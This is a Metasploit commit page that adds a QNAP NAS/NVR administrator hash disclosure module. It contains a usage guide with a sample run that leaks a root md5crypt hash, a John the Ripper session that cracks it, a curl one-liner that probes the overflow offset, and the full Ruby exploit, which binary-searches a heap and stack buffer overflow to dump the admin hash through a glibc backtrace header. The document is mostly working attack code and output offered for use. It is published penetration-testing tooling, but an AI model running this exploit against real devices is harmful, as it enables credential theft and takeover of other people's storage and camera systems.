Skip to content

Commit b65919e

Browse files
author
Brent Cook
committed
Land rapid7#7956, Add QNAP NAS/NVR administrator hash disclosure
2 parents e96013c + 94d445f commit b65919e

File tree

2 files changed

+284
-0
lines changed

2 files changed

+284
-0
lines changed
Lines changed: 78 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,78 @@
1+
## Intro
2+
3+
This is going to be a quick rundown of how to use this module to
4+
retrieve the admin hash from a vulnerable QNAP device.
5+
6+
The defaults I've set should be adequate for blind exploitation, but you
7+
may need to tweak them for your target.
8+
9+
## Options
10+
11+
**OFFSET_START**
12+
13+
You want to set this to a value where you can see a backtrace. Set this
14+
lower if you're not sure. Default is 2000.
15+
16+
**OFFSET_END**
17+
18+
Set this option to a value where you don't see a backtrace. Set this
19+
higher if you're not sure. Default is 5000.
20+
21+
**RETRIES**
22+
23+
Sometimes the attack won't be successful on the first run. This option
24+
controls how many times to retry the attack. Default is 10.
25+
26+
**VERBOSE**
27+
28+
This will tell you how long the binary search took and how many requests
29+
were sent during exploitation. Default is false.
30+
31+
## Usage
32+
33+
Let's run through a successful exploitation. I've tailored the options
34+
to my target. Your target may differ.
35+
36+
```
37+
msf > use auxiliary/gather/qnap_backtrace_admin_hash
38+
msf auxiliary(qnap_backtrace_admin_hash) > set rhost [redacted]
39+
rhost => [redacted]
40+
msf auxiliary(qnap_backtrace_admin_hash) > set offset_end 3000
41+
offset_end => 3000
42+
msf auxiliary(qnap_backtrace_admin_hash) > set verbose true
43+
verbose => true
44+
msf auxiliary(qnap_backtrace_admin_hash) > run
45+
46+
[*] QNAP [redacted] detected
47+
[*] Binary search of 2000-3000 completed in 5.02417s
48+
[*] Admin hash found at 0x8068646 with offset 2920
49+
[+] Hopefully this is your hash: $1$$vnSTnHkIF96nN6kxQkZrf.
50+
[*] 11 HTTP requests were sent during module run
51+
[*] Auxiliary module execution completed
52+
msf auxiliary(qnap_backtrace_admin_hash) >
53+
```
54+
55+
We got lucky on this run. Sometimes it takes a couple retries to get the
56+
hash. Now what do we do with it...
57+
58+
```
59+
wvu@kharak:~$ john --wordlist --rules --format=md5crypt shadow
60+
Loaded 1 password hash (md5crypt, crypt(3) $1$ [MD5 128/128 SSSE3 20x])
61+
Press 'q' or Ctrl-C to abort, almost any other key for status
62+
hunter2 (admin)
63+
1g 0:00:00:01 DONE (2017-03-15 04:41) 0.8928g/s 24839p/s 24839c/s
64+
24839C/s flipper2..mercury2
65+
Use the "--show" option to display all of the cracked passwords reliably
66+
Session completed
67+
wvu@kharak:~$
68+
```
69+
70+
Cracked! Now you can log in to the device. Shells await!
71+
72+
## Addendum
73+
74+
I used this `curl` command to test for offsets:
75+
76+
```
77+
curl -kv "https://[redacted]/cgi-bin/cgi.cgi?u=admin&p=$(perl -e 'print "A"x2000' | base64 -w 0)"
78+
```
Lines changed: 206 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,206 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Auxiliary
7+
8+
include Msf::Exploit::Remote::HttpClient
9+
10+
def initialize(info = {})
11+
super(update_info(info,
12+
'Name' => 'QNAP NAS/NVR Administrator Hash Disclosure',
13+
'Description' => %q{
14+
This module exploits combined heap and stack buffer overflows for QNAP
15+
NAS and NVR devices to dump the admin (root) shadow hash from memory via
16+
an overwrite of __libc_argv[0] in the HTTP-header-bound glibc backtrace.
17+
18+
A binary search is performed to find the correct offset for the BOFs.
19+
Since the server forks, blind remote exploitation is possible, provided
20+
the heap does not have ASLR.
21+
},
22+
'Author' => [
23+
'bashis', # Vuln/PoC
24+
'wvu', # Module
25+
'Donald Knuth' # Algorithm
26+
],
27+
'References' => [
28+
['URL', 'http://seclists.org/fulldisclosure/2017/Feb/2'],
29+
['URL', 'https://en.wikipedia.org/wiki/Binary_search_algorithm']
30+
],
31+
'DisclosureDate' => 'Jan 31 2017',
32+
'License' => MSF_LICENSE,
33+
'Actions' => [
34+
['Automatic', 'Description' => 'Automatic targeting'],
35+
['x86', 'Description' => 'x86 target', offset: 0x16b2],
36+
['ARM', 'Description' => 'ARM target', offset: 0x1562]
37+
],
38+
'DefaultAction' => 'Automatic',
39+
'DefaultOptions' => {
40+
'SSL' => true
41+
}
42+
))
43+
44+
register_options([
45+
Opt::RPORT(443),
46+
OptInt.new('OFFSET_START', [true, 'Starting offset (backtrace)', 2000]),
47+
OptInt.new('OFFSET_END', [true, 'Ending offset (no backtrace)', 5000]),
48+
OptInt.new('RETRIES', [true, 'Retry count for the attack', 10])
49+
])
50+
end
51+
52+
def check
53+
res = send_request_cgi(
54+
'method' => 'GET',
55+
'uri' => '/cgi-bin/authLogin.cgi'
56+
)
57+
58+
if res && res.code == 200 && (xml = res.get_xml_document)
59+
info = []
60+
61+
%w{modelName version build patch}.each do |node|
62+
info << xml.at("//#{node}").text
63+
end
64+
65+
@target = (xml.at('//platform').text == 'TS-NASX86' ? 'x86' : 'ARM')
66+
vprint_status("QNAP #{info[0]} #{info[1..-1].join('-')} detected")
67+
68+
if Gem::Version.new(info[1]) < Gem::Version.new('4.2.3')
69+
Exploit::CheckCode::Appears
70+
else
71+
Exploit::CheckCode::Detected
72+
end
73+
else
74+
Exploit::CheckCode::Safe
75+
end
76+
end
77+
78+
def run
79+
if check == Exploit::CheckCode::Safe
80+
print_error('Device does not appear to be a QNAP')
81+
return
82+
end
83+
84+
admin_hash = nil
85+
86+
(0..datastore['RETRIES']).each do |attempt|
87+
vprint_status("Retry #{attempt} in progress") if attempt > 0
88+
break if (admin_hash = dump_hash)
89+
end
90+
91+
if admin_hash
92+
print_good("Hopefully this is your hash: #{admin_hash}")
93+
report_note(
94+
host: rhost,
95+
port: rport,
96+
type: 'qnap.admin.hash',
97+
data: admin_hash
98+
)
99+
else
100+
print_error('Looks like we didn\'t find the hash :(')
101+
end
102+
103+
vprint_status("#{@cnt} HTTP requests were sent during module run")
104+
end
105+
106+
def dump_hash
107+
l = datastore['OFFSET_START']
108+
r = datastore['OFFSET_END']
109+
110+
start = Time.now
111+
t = binsearch(l, r)
112+
stop = Time.now
113+
114+
time = stop - start
115+
vprint_status("Binary search of #{l}-#{r} completed in #{time}s")
116+
117+
if action.name == 'Automatic'
118+
target = actions.find do |tgt|
119+
tgt.name == @target
120+
end
121+
else
122+
target = action
123+
end
124+
125+
return if t.nil? || @offset.nil? || target.nil?
126+
127+
offset = @offset - target[:offset]
128+
129+
find_hash(t, offset)
130+
end
131+
132+
def find_hash(t, offset)
133+
admin_hash = nil
134+
135+
# Off by one or two...
136+
2.times do
137+
t += 1
138+
139+
if (res = send_request(t, [offset].pack('V')))
140+
if (backtrace = find_backtrace(res))
141+
token = backtrace[0].split[4]
142+
end
143+
end
144+
145+
if token && token.start_with?('$1$')
146+
admin_hash = token
147+
addr = "0x#{offset.to_s(16)}"
148+
vprint_status("Admin hash found at #{addr} with offset #{t}")
149+
break
150+
end
151+
end
152+
153+
admin_hash
154+
end
155+
156+
# Shamelessly stolen from Knuth
157+
def binsearch(l, r)
158+
return if l > r
159+
160+
@m = ((l + r) / 2).floor
161+
162+
res = send_request(@m)
163+
164+
return if res.nil?
165+
166+
if find_backtrace(res)
167+
l = @m + 1
168+
else
169+
r = @m - 1
170+
end
171+
172+
binsearch(l, r)
173+
174+
@m
175+
end
176+
177+
def send_request(m, ret = nil)
178+
@cnt = @cnt.to_i + 1
179+
180+
payload = Rex::Text.encode_base64(
181+
Rex::Text.rand_text(1) * m +
182+
(ret ? ret : Rex::Text.rand_text(4))
183+
)
184+
185+
res = send_request_cgi(
186+
'method' => 'GET',
187+
'uri' => '/cgi-bin/cgi.cgi',
188+
#'vhost' => 'Q',
189+
'vars_get' => {
190+
'u' => 'admin',
191+
'p' => payload
192+
}
193+
)
194+
195+
res
196+
end
197+
198+
def find_backtrace(res)
199+
res.headers.find do |name, val|
200+
if name.include?('glibc detected')
201+
@offset = val.split[-2].to_i(16)
202+
end
203+
end
204+
end
205+
206+
end

0 commit comments

Comments
 (0)